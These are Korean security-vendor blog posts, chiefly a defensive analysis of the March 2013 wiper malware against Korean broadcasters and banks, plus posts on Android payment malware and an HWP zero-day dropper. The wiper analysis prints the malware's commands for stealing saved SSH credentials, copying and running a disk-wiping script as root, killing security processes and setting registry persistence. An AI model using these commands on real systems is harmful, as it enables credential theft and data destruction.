3월 20일 14시경 주요 방송사 및 은행 전산망 장애가 발생하는 사고가 한국에서 발생하였으며, ASEC에서는 악성코드 감염 후 디스크 손상으로 부팅 불가로 인해 장애가 발생한 것으로 확인하였다.


현재 해당 악성코드는 운영체제에 따라 디스크를 손상시키는 기능이 포함되어 있으며, 상세한 디스크 손상 내용은 아래 분석 정보에 기술하였다.


해당 악성코드는 V3 엔진(엔진버전:  2013.03.20.06 이상)으로 업데이트 할 경우 검사 및 치료가 가능하며, 3월 20일 오후 6시경부터 제공 중인 전용백신으로도 검사 및 치료 할 수 있다.


[UPDATE - 2013/03/25]


현재까지 ASEC에서 분석한 이번 주요 방송사 및 은행 전산망 장애를 유발한 악성코드는 다음 이미지와 같이 A 케이스와 B 케이스로 나누어서 발생하였다.



우선 위 이미지 좌측 편의 A 케이스에 사용되었던 파일들에 대한 세부 분석 내용은 다음과 같다.


우선 드로퍼인 File A는  %Temp% 폴더에 다음 파일들을 생성하게 된다.


1) File B : MBR 파괴 기능 수행

2) File C : UPX 압축 된 SSL 연결을 위한 PUTTY 툴

3) File D : UPX 압축된 SFTP 연결을 위한 PUTTY 툴

4) File E : UNIX 계열 시스템 DISK를 파괴하는 스크립트


File E 스크립트가 대상으로 하는 시스템은 AIX Unix, HP Unix, Solaris 및 Linux 이다.


AIX, HP, Solaris 3개 시스템에서는 DD 명령어로 디스크를 10MB 및 81MB 크기 만큼 0으로 덮어 쓰기 하며, Linux 시스템에서는 다음의 디렉토리를 삭제한다.


/kernel/ 

/usr/ 

/etc/ 

/home/


File A에 의해 생성된 File B가 실행이 되면, %Temp% 폴더에 ~v3.log 파일이 존재하는지 확인 하게 된다. 만약 해당 파일이 존재 하지 않다면 감염 된 시스템의 MBR(Master Boot Recoard) 및 하드 디스크를 파괴하게 된다.



그리고 File A 외부에서 원격 접속을 시도하기 위해, 다음 경로의 환경 설정 파일인 confCons.xml가 존재하는지 확인 하게 된다.


- Major Version 5인 경우 ( Windows XP, Windows 2003 Server 등 )

C:\Documents and settings\Administrator\Local Settings\Application Data\Felix_Deimel\mRemote\confCons.xml


- Major Version 6인 경우 ( Windows 7, Windows VISTA 등 )

C:\Users\AppData\Local\Felix_Deimel\mRemote\confCons.xml


만약 confCons.xml가 존재 할 경우에는 다음 문자열에 해당하는 내용을 추출한다.


Username="root"

Protocol="SSH"

Password=

Hostname

Descr

Panel

Port

Password


그리고 하나의 스레드를 생성 한 후 앞서 획득한 문자열들을 조합하여 다음의 명령을 실행하게 된다.


%Temp%\File C -batch -P [port] -l root -pw  %Temp%\~pr1.tmp [host]:/tmp/cups

%Temp%\File D -batch -P [port] -l root -pw  [host] "chmod 755 /tmp/cups;/tmp/cups"


SSH의 SCP의 PUTTY 버전인 pscp를 이용해서 File E 를 Batch(Disable all interactive prompts) 종료 후, root 계정으로 호스트의 /tmp/cups 로 복사한다. 그리고, PUTTY의 command 버전인 plink 를 이용해 Batch(disable all interactive prompts) 종료 후, root 계정으로 호스트의 /tmp/cups 에 실행권한을 주고, /tmp/cpus 를 실행한다. 


이와 함께 외부에서 원격 접속을 시도하기 위한 다른 방법으로 다음 경로의 환경 설정 파일이 존재하는 확인하게 된다.


- Major Version 5인 경우 ( Windows XP, Windows 2003 Server 등 )

C:\Documents and settings\Administrator\Application Data\VanDyke\Config\ Sessions\*.ini


- Major Version 6인 경우 ( Windows 7, Windows VISTA 등 )

C:\Users\AppData\Roaming\VanDyke\Config\Sessions\*.ini


만약 환경 설정 파일이 존재 할 경우에는 다음 문자열에 해당하는 내용을 추출하게 된다.


S:"Protocol Name"=SSH

S:"Username"=root

D:"Session Password Saved"=00000001

S:"Hostname"=

S:"Password"=

D:"[SSH2] Port"=


그리고 하나의 스레드를 생성 한 후 앞서 획득한 문자열들을 조합하여 다음의 명령을 실행하게 된다.


%Temp%\conime.exe -batch -P [port] -l root -pw  %Temp%\~pr1.tmp [host]:/tmp/cups

%Temp%\alg.exe -batch -P [port] -l root -pw  [host] "chmod 755 /tmp/cups;/tmp/cups"


MBR(Master Boot Recoard) 및 하드 디스크를 파괴하는 기능을 수행하는 File B는 아래와 같은 파일 매핑 오브젝트(FileMapping Object)를 이용하여 동기화 한 후 하나의 프로세스 만이 실행되도록 한다.


JO840112-CRAS8468-11150923-PCI8273V



그리고  %SystemDirectory%\TEMP\~v3.log 이름의 파일이 존재하는지 확인 한 후, 만약 존재하지 않는다면 MBR(Master Boot Recoard) 및 하드 디스크를 파괴하는 기능을 수행하게 된다.


이와 함께 Taskkill 명령을 WinExeC API로 호출 하여 국내 보안 소프트웨어 프로세스를 종료 하게 된다.


Taskkill /F /IM pasvc.exe

Taskkill /F /IM clisvc.exe


File B는 감염 된 시스템의 윈도우(Windows) 버전에 따라 서로 다른 하드 디스크 파괴 스레드(Thread) 를 생성하게 된다.


1) Major Version 5인 경우 ( Windows XP, Windows 2003 Server 등 )


* 물리 디스크의 MBR과 VBR 등을 "PRINCPES" 문자열로 덮어 쓰기


최대 10개 까지 물리 디스크( \\PHYSICALDRIVE0 ~ \\PHYSICALDRIVE9 )를 열어 각 물리 디스크의 MBR과 VBR을 "PRINCPES"이라는 문자열로 반복하여 덮어 쓰게 된다. 확장 파티션을 사용하고 있는 시스템의 경우에는 확장 파티션의 각 파티션의 VBR까지 파괴의 대상이 된다.


* 논리 드라이브를 "PRINCPES" 문자열로 덮어 쓰기


B:\부터 Z:\ 까지 모든 논리 드라이브 중에서 드라이브 타입(Drive Type)이 DRIVE_REMOVABLE이나 DRIVE_FIXED인 드라이브의 데이터를 "PRINCIPES"이라는 문자열로 반복하여 덮어 쓰게 된다. 덮어 쓰게 되는 데이터는 약 5.3MB 간격으로 100KB 씩 덮어 쓰게 된다.


2) Major Version 6인 경우 ( Windows 7, Windows VISTA 등 )


* 물리 디스크의 MBR과 VBR 등을 "PRINCPES" 문자열로 덮어 쓰기


최대 10개 까지 물리 디스크( \\PHYSICALDRIVE0 ~ \\PHYSICALDRIVE9 )를 열어 각 물리 디스크의 MBR과 VBR을 "PRINCPES"이라는 문자열로 반복하여 덮어 쓰게 된다. 확장 파티션을 사용하고 있는 시스템의 경우에는 확장 파티션의 각 파티션의 VBR까지 파괴의 대상이 된다.


* 모든 논리 드라이브의 데이터를 "PRINCPES" 문자열로 덮어 쓴 후 삭제


모든 논리 드라이브의 데이터를 "PRINCPES" 문자열을 반복하여 덮어 씀으로써 원본 파일 내용을 제거 한 뒤, 모든 파일을 DeleteFile API로 삭제하고 모든 디렉토리를 RemoveDirectoryA API로 삭제 한다. 그리고 D:\부터 차례대로 드라이브의 파일 시스템을 제거 한 뒤, 마지막으로 C:\에서 제거한다. 그러나, C:\의 %SystemDirectory%, %ProgramData%, %ProgramFiles% 세 경로의 파일은 제거 하지 않는다.





논리 드라이브 파괴를 시작하고 나서 5분 뒤 "Shutdown -r -t 0 "라는 커맨드 라인(Command Line)을 WinExec로 실행 하여 시스템을 재부팅 시키나, 하드 디스크가 파괴 중일 경우에는 시스템은 재부팅 되지 않는다.



추가적으로 확인된 최초 이미지 우측 편의 B 케이스에 사용되었던 파일들에 대한 세부 분석 내용은 다음과 같다.


드로퍼(Dropper) 역할을 수행하는 File K가 실행이 되면 아래와 같이 국내 보안 소프트웨어의 프로세스들을 강제 종료하게 된다.


taskkill /F /IM vrfwsvc.exe

taskkill /F /IM vrptsvc.exe

taskkill /F /IM vrscan.exe

taskkill /F /IM hpcsvc.exe

taskkill /F /IM hsvcmod.exe

taskkill /F /IM vrfwsock.exe

taskkill /F /IM vrmonnt.exe

taskkill /F /IM vrrepair.exe

taskkill /F /IM vrmonsvc.exe


그리고 국내 보안 소프트웨어 관련 다음 파일들을 삭제를 시도하게 되며, 삭제된 파일들과 동일한 경로에 File FFile L을 생성하게 된다.

VrDown.exe 
VrPatch.exe
ptUpdate.exe
update.zip
vms1014.zip

생성된 File L은 디스크 파괴 기능을 수행하는 File F를 다운로드 하기 위한 환경 설정 파일이며, File F는 앞서 언급한 A 케이스의 File B와 동일한 기능을 수행하게 된다. 그러나, 아래와 같은 세가지 다른 차이점을 가지고 있다.


1) File F는 File B가 갖고 있는 ~V3.log 파일의 존재 여부를 통해 하드 디스크 파괴 여부를 결정하는 기능이 포함되어 있지 않다.


2) File B는 "PRINCPES" 문자열을 이용하여 덮어쓰기를 수행하게 되나, File F는 "HASTATI" 문자열을 이용하여 덮어쓰기를 수행하게 된다.


3) File B는 실행 즉시 특정 문자열을 이용해 덮어 쓰기를 수행하게 되는 반면에, File F는 2013년 03월 20일 14시 이후에 특정 문자열을 이용해 덮어 쓰기를 수행하게 된다.


[UPDATE - 2013/03/22]


ASEC에서는 이번 전산망 장애를 유발한 악성코드에 대한 새로운 변형과 함께 함께 앞서 언급한 두가지 감염 케이스들과 다른 형태를 추가적으로 발견하였다.


먼저 추가적으로 발견한 디스크 손상을 유발하는 악성코드 File G는 기존에 발견된 File BFile F 들과 기능상으로는 동일하지만 디스크 손상을 유발하기 위해 덮었는 문자열이 "PR!NCPES"으로만 변경되었다.



그리고 추가적으로 발견된 감염 케이스에 사용된 악성코드는 아래 이미지와 동일한 전체적인 구조를 가지고 동작하게 된다.



최초 File H는 File I와 File J 두 개의 파일을 윈도우 시스템 폴더(C:\Widnwos\system32)에 생성하고 File I 를 실행 시킨다. 실행된 File I는 같이 생성된 File J를 정상 시스템 프로세스인 Lsass.exe 프로세스에 인젝션 하게 된다. 


인젝션이 성공적으로 이루어지게 될 경우 인젝션된 File J 힙(Heap)을 할당 받은 후 인코딩(Encoding) 되어 있는 자신의 코드를 디코딩(Decoding) 하여 힙을 생성하여 스레드(Thread로) 구동 한다. 이 때 구동되는 스레드가 디스크를 앞서 언급한 File G와 동일한 "PR!NCPES" 문자열로 디스크를 덮어쓰게 된다.


우선 File H는 생성한 File I를 시스템이 재부팅 할 때마다 자동 실행하기 위해서 윈도우 레지스트리(Registry)에 다음의 키에 값을 추가하게 된다.


HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"

Shell = explorer.exe, File I


그리고 생성한 윈도우 시스템 폴더에 생성한 File I와 File J의 시간 정보를 Kernel32.dll이 가지고 있는 시간 정보와 동일 하게 성정한다.


File H악성코드가 구동 될 수 있는 환경을 마련 한 뒤에 CMD.exe를 이용하여 ShellExecuteA 함수를 호출하여 자신을 삭제하게 된다.


그리고 생성된 File I는 SeDebugPrivilege 권한을 이용하여 같이 생성된 File J를 정상 시스템 프로세스인 Lsass.exe에 인젝션을 시도 하게 된다.


인젝션은 우선 정상 시스템인 Lsass.exe 프로세스를 찾은 후 File J의 파일명을 문자열로 메모리 할 당 이후, 해당 문자열을 인자로 하여 LoadLibraryW 함수를 시작 주소로 하여 CreateRemoteThread를 호출하는 기법을 이용하였다.


File J 인젝션에 성공하게 되면 XOR 0x55로 인코딩되어 있는 디스크 손상을 위한 코드를 디코딩 한 후에 할당 받은 메모리에 쓰게 된다.


그리고 GetLocalTime 함수를 이용하여 감염된 시스템의 현재 시간을 구한 후 3월 20일 15시가 되기 전까지 대기하게 된다.


이 후 3월 20일 15시 1분이 되면 디코딩 된 디스크 손상을 위해 Thread로 동작하며 전체적인 기능은 앞서 언급한 File G와 동일하나 아래 두 가지만 다르다.


1) 동기화에 사용되는 파일맴핑 오브젝트(FileMapping Object)를 GOLD0112-CRAS8468-PAGE0923-PCI8273W 사용


2) File G는 디스크 손상을 중단하는 파일명이 "~v3.log" 이었으나, File J은 "kb01.tmp"를 사용


현재까지 이번 전산망 장애 관련 악성코드들 모두 V3 제품 군에서 다음과 같이 진단한다.


Win-Trojan/Agent.24576.JPF (2013.03.20.06)

Win-Trojan/Agent.24576.JPG (2013.03.20.07)

Trojan/Win32.XwDoor (2013.03.20.07)

Dropper/Eraser.427520 (2013.03.20.07)

SH/Eraer (2013.03.20.07)

Dropper/Hijacker.153088 (2013.03.21.01)

Win-Trojan/Loader.49152 (2013.03.21.01)

Win-Trojan/Injector.46080.AX (2013.03.21.01)

Trojan/Win32.HDC (AhnLab, 2013.03.21.01) 


현재 ASEC에서는 추가적인 정보들을 지속적으로 수집중이며, 관련된 악성코드들의 상세한 분석 정보를 작성 중에 있다. 


분석정보가 작성되는데로 해당 정보는 수시로 업데이트 될 예정이다.

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- 작년 4분기 14종에서 올해 1분기 225종으로 16배 급증 

- 커피 등 무료 쿠폰 가장한 SMS로 악성코드 설치 유도 

- 소액결제 인증 SMS 탈취해 사용자 몰래 결제



스마트폰 소액결제를 노린 안드로이드 악성코드 ‘체스트[chest]의 변종이 급증하고 그로 인한 피해도 증가해 사용자의 주의가 필요하다.

 

글로벌 보안 기업 안랩[구 안철수 연구소, 대표 김홍선, www.ahnlab.com]은 지난해 10월부터 피해를 일으키고 있는 안드로이드 악성코드 ‘체스트[chest]’의 변종이 올해 들어 급증했다고 밝혔다. 작년 10월~12월 동안 14종이 발견됐으나 올해 들어서는 1월부터 3월 7일 현재까지 225종이 발견돼 16배나 늘어난 수치다.

 

체스트 변종의 배포 방식은 종전과 동일하지만, 소스 코드가 일부 추가/변경된 것이 특징이다. 커피, 외식, 영화 등 다양한 유명 브랜드를 사칭한 무료 쿠폰 안내와 URL을 문자로 보내 사용자를 현혹한다. 사용자가 무심코 URL을 클릭해 해당 페이지에서 애플리케이션[이하 앱]을 설치하면 본인도 모르게 소액결제가 이루어져 금전 피해를 보게 된다. 안랩은 최근 발견한 ‘체스트’ 변종을 분석해 블로그에 상세 정보를 올렸다[http://asec.ahnlab.com/920].

 

이에 따르면 악성코드 제작자는 사전에 입수한 정보를 토대로 SMS[악성 앱 설치 유도 메시지] 수신자[타깃]를 웹 화면에서 관리 및 모니터링하는 것으로 밝혀졌다. 악성코드 제작자는 공격 대상을 정하면 ‘어플 설치하면 카페라떼+치즈케익이 공짜’ 등 사용자를 현혹하는 내용과 URL을 문자 메시지로 보낸다. 사용자가 단축 URL을 클릭해 앱을 설치하면 유명 커피 전문점을 사칭한 아이콘이 생성되고 서비스에 등록된다.

 

사용자가 악성 앱을 실행하면 ‘사용자 급증으로 시스템 과부화로 잠시 후에 다시 이용 바랍니다.’라는 메시지가 뜬다. 이는 피해자를 속이기 위한 허위 메시지이다. 악성 앱이 실행되면 통신사 정보와 스마트폰 번호가 악성코드 제작자에게 전송된다. 악성코드 제작자는 정보를 확보한 후 즉시 소액결제를 시도하고 이때 수신된 인증번호를 사용자 몰래 가로채서 금전을 탈취한다.

 

기존 악성코드는 대부분 불특정 다수를 대상으로 하고 개인정보 탈취가 주 목적이었다. 하지만 ‘체스트[chest]’는 과거 발생한 대량의 개인정보유출 사고를 통해 유출된 개인정보 중 주민번호와 전화번호를 이용해 특정한 공격 대상을 정한다는 점에서 기존 악성코드보다 진보된 형태라 할 수 있다.

 

특히, 소액결제 시 반드시 필요한 인증번호 문자 메시지가 사용자 몰래 직접 악성코드 제작자에게 전달되도록 설계되어 피해 사실을 당장 알기 어렵고, 사용자는 청구서가 나온 후에야 피해를 확인할 수 있다는 점, 대부분의 사용자가 핸드폰 사용 내역서를 꼼꼼히 살펴보지 않는다는 점에서 이후 유사한 피해가 추가 발생할 우려가 높다.

 

국내 휴대폰 소액결제 서비스 한도 금액이 일인 당 매월 30만원으로 제한되어 있긴 하지만 현재 시장 규모가 2조8000억 원에 이르는 것을 감안하면 전체 피해액은 매우 클 수 있다.

 

안랩 이호웅 시큐리티대응센터장은 “사용자는 문자로 전송된 URL을 클릭할 때나 해당 페이지에서 요구하는 앱 설치에 주의해야 한다. 또한, 서드파티 마켓은 물론 구글 공식 마켓이라도 안심하지 말고 평판을 읽어본 후 설치하고, 새로운 앱은 1주일 이상 여유를 두고 평판을 지켜본 후 설치하는 등 신중함이 필요하다. 아울러 수시로 V3 모바일과 같은 스마트폰 전용 백신으로 점검을 해보는 습관이 필요하다.”라고 주의를 당부했다.

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안랩 ASEC에서 2012년 12월 국내,외에서 발생한 다양한 보안 위협 이슈와 동향들을 정리한 ASEC 리포트 2012 Vol.36을 발간하였다. 



이 번에 발간된 ASEC 리포트는 2012년 12월 주요 보안 위협 이슈들을 다음과 같이 분석하고 있다.


1) 악성코드 이슈

온라인 뱅킹 트로이목마 Banki(1)

온라인 뱅킹 트로이목마 Banki(2)

패스워드를 노리는 악성코드

악성코드의 3단 콤보 공격

온라인 게임핵 변종 악성코드

특정 후보의 정책관련 한글문서 위장 악성코드

부킹닷컴을 사칭한 악성코드

과다 트래픽을 발생시키는 악성코드

상품권 번호 탈취하는 온라인 게임핵 악성코드

Xerox WorkCentre를 사칭한 악성 메일

Facebook을 사칭한 악성 e-mail 주의


2) 모바일 악성코드 이슈

국내 스마트폰 사용자를 노린 Win-Android/Chest 악성코드

PUP 앱의 폭발적인 증가


3) 보안 이슈

Stuxnet 기술을 이용하는 MySQL 취약점

지속적으로 보고되는 인터넷 익스플로러 use-after-free 취약점


4) 2012년 보안 동향 분석

악성코드 통계

- 2012년 악성코드, 1억3353만1120 건

- 악성코드 대표 진단명 감염보고 최다 20

- 2012년 악성코드 유형 ‘트로이목마’가 최다

모바일 악성코드 이슈

- 월간 모바일 악성코드 접수량

- 모바일 악성코드 유형

- 모바일 악성코드 진단명 감염보고 최다

보안 통계  

- 2012년 4분기 마이크로소프트 보안 업데이트 현황

웹 보안 통계

- 웹 사이트 악성코드 동향

웹 보안 이슈


ASEC에서 발간하는 월간 보안 위협 동향 리포트는 아래 웹 사이트에서 확인 할 수 있다. 


ASEC 보안 위협 동향 리포트 2012 Vol.36 발간


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안랩 ASEC에서 2012년 11월 국내,외에서 발생한 다양한 보안 위협 이슈와 동향들을 정리한 ASEC 리포트 2012 Vol.35을 발간하였다. 



이 번에 발간된 ASEC 리포트는 2012년 11월 주요 보안 위협 이슈들을 다음과 같이 분석하고 있다.


1) 악성코드 이슈

JPEG 이미지 파일을 탈취해가는 악성코드

공다팩 (Gongda Pack) 스크립트 악성코드

과도한 트래픽을 발생시키는 악성코드 1

과도한 트래픽을 발생시키는 악성코드 2

이란에서 발견된 스턱스넷과 유사한 형태의 웜

특정 기관의 공고 관련 문서로 위장한 악성코드

조어도 영유권 분쟁 관련 문서로 위장한 악성코드

18대 대선 관련 엑셀문서로 위장한 악성코드

맥도널드 공짜 쿠폰 받아가세요!

Security Shield 허위 백신

해커 그룹  어나니머스  를 사칭한 랜섬웨어 발견

PayPal 결제정보 수정권고 피싱메일 주의


2) 모바일 악성코드 이슈

국내 타깃 안드로이드 악성코드 (스마트 청구서)

국내 타깃 안드로이드 악성코드 (구글 Play Store)

브라우저로 위장한 모바일 악성코드 


3) 악성코드 분석 특집

2012년 7대 악성코드 이슈


4) 보안 이슈

인터넷 익스플로러 취약점(MS12-071)

구글 크롬 제로데이 발표 예정자, 갑작스런 발표 취소. 이유는?

Cool Exploit Kit


ASEC에서 발간하는 월간 보안 위협 동향 리포트는 아래 웹 사이트에서 확인 할 수 있다. 


ASEC 보안 위협 동향 리포트 2012 Vol.35 발간


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- 안랩, V3 탄생 25주년 맞아 탐지력-속도-무게감 대폭 향상한 ‘새로운 V3’ 오픈 베타 서비스 

- 새롭게 진화한 V3의 핵심 기능을 회사의 거의 모든 제품과 서비스에 반영해 시장 공략 예정 


안랩 V3 탄생 25주년, 진화한 ‘새로운 V3’로 2013년 공략한다!

안랩, 새로운 V3 오픈 베타 서비스 개시

- 안랩, V3 탄생 25주년 맞아 탐지력-속도-무게감 대폭 향상한 ‘새로운 V3’ 오픈 베타 서비스

- 새롭게 진화한 V3의 핵심 기능을 회사의 거의 모든 제품과 서비스에 반영해 시장 공략 예정

 

V3 탄생 25주년을 맞은 글로벌 보안 기업 안랩[구 안철수연구소, 대표 김홍선 www.ahnlab.com]은 28일 전용 웹사이트 [ http://www.ahnlab.com/kr/site/event/event/v325thEventForm.do ]를 통해 일반 개인 사용자를 대상으로 새로워질 V3의 오픈 베타 이벤트[가칭 V3베타]를 시작했다.  

 

V3 탄생 25주년을 맞아 공개된 새로운 ‘V3베타’는 악성코드 탐지력, 검사 속도, 엔진 크기의 세가지 부문에서 혁신적으로 향상된 기능을 선보인다. 안랩은 새로운 V3의 서비스 안정화 작업을 위해 3월 31일까지 사용자가 직접 참여하는 오픈 베타 서비스를 진행한다. 안정화 단계를 거친 ‘새로운 V3[V3베타]’는 별도의 제품으로 출시하지 않고, V3 Lite를 비롯한 개인용 제품군에서 보안관제, 융합형 APT대응 솔루션인 트러스와처에 이르기까지 안랩의 거의 모든 제품과 서비스에 광범위하게 적용될 예정이다.

 

강력한 악성코드 탐지력을 갖춘 다차원 대응 엔진 ‘MDP 프레임워크’ 도입

안랩의 새로운 ‘V3베타’는 안랩이 장기간에 걸쳐 개발한 새로운 엔진인 ‘MDP[Multi-Dimensional Protection] 프레임워크’가 최초 적용되었다. ‘MDP 프레임워크’는 기존 시그니처[악성코드의 진단값 리스트] 기반의 악성코드 탐지 엔진과 네트워크 스캔 엔진을 기본적으로 탑재했다. 여기에 악성코드를 배포하는 URL을 실시간으로 추적해 접근을 차단하는 네트워크 방역 엔진, 의심 파일의 행위를 분석해 알려지지 않은 악성코드의 실행을 사전 차단하는 행위 기반 엔진을 갖추었다.

 

또한, 파일에 대한 클라우드 평판 정보로 의심스러운 신규 파일을 분석하는 평판 엔진과, 의심스러운 파일에 대하여 사용자가 능동적으로 대응할 수 있는 액티브 디펜스[Active Defense] 기능을 탑재했다. ‘MDP 프레임워크’는 다년간 축적된 안랩의 악성코드 대응 능력[엔진]을 모두 담은 신기술이다. 입체적이고 다면적인 악성코드 탐지 기능으로 이미 알려진 악성코드는 물론, 알려지지 않은 악성코드까지 효과적으로 대응한다.

 

스마트 스캔 기술로 6배 이상 빠른 검사속도 구현

또한, ‘스마트 스캔’ 기능을 적용해 속도 면에서도 획기적인 발전을 이루었다. 스마트 스캔 기술에는 안전하다고 판단된 기존 파일 외에 사용자 PC에 새롭게 생성된 파일에 대한 검사[Incremental Scan]와, 윈도우 같은 운영체제[OS] 상의 변경 사항에 대한 검사[Fastway] 기능이 탑재돼 있다. 이 기술이 적용된 V3베타는 기존 V3의 검사 속도를 능가함은 물론, 글로벌 업체들에 비해서도 6배 이상 빠른[자체 테스트 결과 기준] 검사 속도를 제공한다.

 

기존 V3 대비 20% 수준 초경량 엔진 제공

방대한 악성코드 데이터베이스[DB]를 PC에 저장하는 기존 방식에서 벗어나, 악성코드의 고유정보[DNA]만을 추출하는 방식을 적용해 엔진 크기를 대폭 감소시켰다. 이번 V3베타의 용량은 20MB[메가바이트] 이하로 기존 V3 대비 20% 수준으로 경량화한 것이다. 이에 따라 사용자의 체감 무게는 한결 더 가벼워졌다.  

 

안랩 김홍선 대표는 “악성코드가 나날이 교묘하고 지능적으로 진화하는 만큼 보안제품도 진화해야 한다. 특히 1988년 탄생한 V3가 25주년 되는 올해, 이렇게 새로워진 V3 원천기술을 선보이게 된 점은 매우 의미 있다고 생각한다. 앞으로도 안랩은 보안을 주도하는 기업으로서 축적된 기술을 바탕으로 강력한 보안과 사용자 편의성을 모두 제공해 나가겠다.”라고 강조했다.

 

한편, 이번 오픈 베타 서비스에서는 사용 후기를 보내주는 사용자 중 1위에게는 아이패드 미니를 증정한다. 이 외에도 닥터드레 헤드폰, 안랩 V3 외장하드와 해피머니 상품권 등 다양한 상품을 제공한다.

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2012년도에는 한글과 컴퓨터에서 개발하는 한글 소프트웨어에 존재하는 취약점을 악용한 타깃 공격(Target Attack)이 예년에 비해 비교적 크게 증가하였다.


이 중에는 기존에 알려지지 않은 제로 데이(Zero Day, 0-Day)을 악용한 공격 형태도 2012년 6월과 11월에 발견될 정도로 한글 소프트웨어 취약점을 악용한 공격의 위험성이 증가하고 있다.


2012년 6월 - 한글 제로데이 취약점을 악용한 악성코드 유포


2012년 11월 - 국방 관련 내용의 0-Day 취약점 악용 한글 파일


이러한 한글 소프트웨어에 존재하는 기존에 알려지지 않은 제로 데이 취약점을 악용한 공격이 1월 25일경 다시 발견되었다.


이 번에 발견된 한글 소프트웨어의 제로 데이 취약점을 악용하는 취약한 한글 파일은 아래 이미지와 같이 다수의 개인 정보를 포함한 형태로 발견되었다.



해당 취약한 한글 파일은 아래 이미지와 동일한 같은 구조를 갖고 있으며, 이 중 "BinData" 항목의 "BIN0001.bmp" 라는 비정상적인 이미지를 파싱하는 과정에서 취약점이 발생하게 된다.



이로 인해 영향을 받게 되는 한글 소프트웨어의 모듈은 "HncTiff10.flt"에서 TIFF 형식의 이미지를 파싱하는 과정에서 발생하는 코드 실행 취약점이다.


해당 제로 데이 취약점으로 인해 영향을 받는 한글 소프트웨어는 ASEC의 내부적인 테스트 결과로는 다음 버전에서 동작하게 된다.


한글 및 한컴 오피스 2007

한글 및 한컴 오피스 2010


최신 보안 패치가 모두 적용된 한글 2007과 2010 버전에서는 해당 취약한 문서를 여는 과정에서 바로 취약점이 동작하게 된다. 


하지만 최신 패치가 적용되지 않은 한글 2010 버전에서는 아래 이미지와 같은 오류 메시지가 발생하며, 해당 오류 메시지를 종료하는 순간 취약점이 동작하게 된다.



해당 제로데이 취약점을 포함하고 있는 한글 파일이 정상적으로 열리게 되면 아래 이미지와 같은 전체적인 구조를 가진 다른 악성코드들이 생성된다. 


우선 취약한 한글 파일이 정상적으로 열게 될 경우에는 아래 경로에 HncUpdate.exe (641,024 바이트)가 생성 된다.


C:\Documents and Settings\[사용자 계정명]\Local Settings\Temp\HncUpdate.exe


생성한 HncUpdate.exe (641,024 바이트)은 GetTempFileName 함수를 이용하여 임의의 문자열을 파일명으로 가지는 tmp 파일 3개를 다음과 같은 경로에 생성하게 된다.


C:\Documents and Settings\[사용자 계정명]\Local Settings\Temp\[임의의 문자열].tmp (187,904 바이트)

C:\Documents and Settings\[사용자 계정명]\Local Settings\Temp\[임의의 문자열].tmp (181,760 바이트)

C:\Documents and Settings\[사용자 계정명]\Local Settings\Temp\[임의의 문자열].tmp (219,136 바이트)


HncUpdate.exe (641,024 바이트)가 생성한 tmp 파일 중 187,904 바이트 크기를 가지는 tmp 파일을 다시 아래 경로에 w32time.exe (187,904 바이트) 파일명으로 다시 복사를 하게 된다.


C:\WINDOWS\system32\w32time.exe


그리고 생성한 w32time.exe (187,904 바이트)을 윈도우 서비스로 실행하기 위해서 윈도우 레지스트리 다음 경로에 "Windows Time"라는 윈도우 서비스 명으로 아래와 같은 키 값을 생성하게 된다.


HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\w32time

ImagePath = C:\WINDOWS\system32\w32time.exe


w32time.exe (187,904 바이트)은 파일 다운로드 기능만 가지고 있는 파일이며, 다른 악의적인 기능은 존재하지 않는다.  


해당 w32time.exe (187,904 바이트)이 실행이 되면 파일 내부에 하드코딩 되어 있는 웹 사이트 주소 3곳에 존재하는 GIF 또는 JPG 확장자를 가진 파일을 다운로드 하게 된다.


분석 당시에는 아래 이미지와 같이 다운로드 되는 해당 파일들은 GIF와 JPG 파일 시그니처만 남아 있는 손상된 파일들이다



해당 악성코드 제작자는 현재까지는 손상된 GIF와 JPG 파일을 사용하고 있으나, 적절한 시기에는 이를 다른 악성코드로 변경하여 동시에 다수의 악성코드를 유포하기 위한 것으로 추정된다.


그리고 생성된 다른 임의의 문자열을 파일명으로 가지는 tmp 파일 2개는 윈도우 비스타(Windows VISITA)와 윈도우 7(Windows 7)에 존재하는 UAC(User Access Control) 기능을 무력화하여 생성한 악성코드를 정상적으로 실행하기 위한 기능을 수행하게 된다.


이 번에 알려진 한글 소프트웨어에 존재하는 제로 데이 취약점을 악용하는 악성코드들은 V3 제품군에서 다음과 같이 진단한다.


 HWP/Exploit 

 Trojan/Win32.Agent 

 Win-Trojan/Agent.219136.DC

 Dropper/Agent.641024.G 

 Win-Trojan/Agent.181760.HT


그리고 APT 전문 대응 솔루션인 트러스와쳐(TrusWatcher)에 포함된 DICA(Dynamic Intelligent Content Analysis)에 의해 시그니처 없이 아래와 같이 탐지가 가능하다.


Exploit/HWP.AccessViolation-DE 


향후 출시 예정인 V3 다음 버전에 포함된 ASD 2.0의 MDP 엔진에서도 시그니처 없이 다음과 같이 탐지가 가능하다.


Dropper/MDP.Exploit

Suspicious/MDP.Exploit

Suspicious/MDP.Behavior

Suspicious/MPD.DropExecutable


현재 해당 악성코드에서 사용한 취약점은 앞서 언급한 바와 같이 한글과 컴퓨터에서 보안 패치가 제공되지 않는 제로데이 취약점이다.


그러므로 이메일이나 웹 사이트 등으로부터 전달 받게된 출처가 불명확한 한글 파일을 실행하는 경우에는 각별한 주의가 필요하다.

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-APT 공격 기법 진화, 대상 확대..문서 파일 악용 지능화 

-정치 이슈 이용한 악성코드 유포, 해킹 등 기승 

-모바일 악성코드, 국내 금융사 이용 피싱 사이트 급증


글로벌 정보보안 기업인 안랩[구 안철수연구소, 대표 김홍선, www.ahnlab.com]은28일 올 한 해 동안의 보안 위협의 주요 흐름을 분석해 ‘2012년7대 보안 위협 트렌드’를 발표했다. 이에 따르면 올 한 해 주요 이슈는 ▲APT 기승 ▲소프트웨어의 취약점 악용 지속 증가 ▲정치적 이슈 두드러진 사회공학 공격 기법 ▲모바일 악성코드 급증 ▲악성코드의 고도화 ▲핵티비즘과 기업 정보 탈취 목적 해킹 빈발 ▲국내 피싱 웹사이트 급증 등이었다.


 

1. APT 기승

 

APT[Advanced Persistent Threat; 지능형 타깃 공격]는 전년보다 공격 기법이 진화했으며 공격 대상 역시 광범위해졌다.

 

APT 공격은 그동안 어도비PDF, 마이크로소프트[MS]의 워드 등 문서 파일에 존재하는 취약점을 악용해 왔다. 취약점을 악용해 취약한 전자 문서 파일을 제작한 뒤 공격하고자 하는 대상이나 기관에 이메일로 보내는 것이다. 이 같은 전통적 형태의APT 공격 기법은2012년에도 여전히 기승을 부렸다.

 

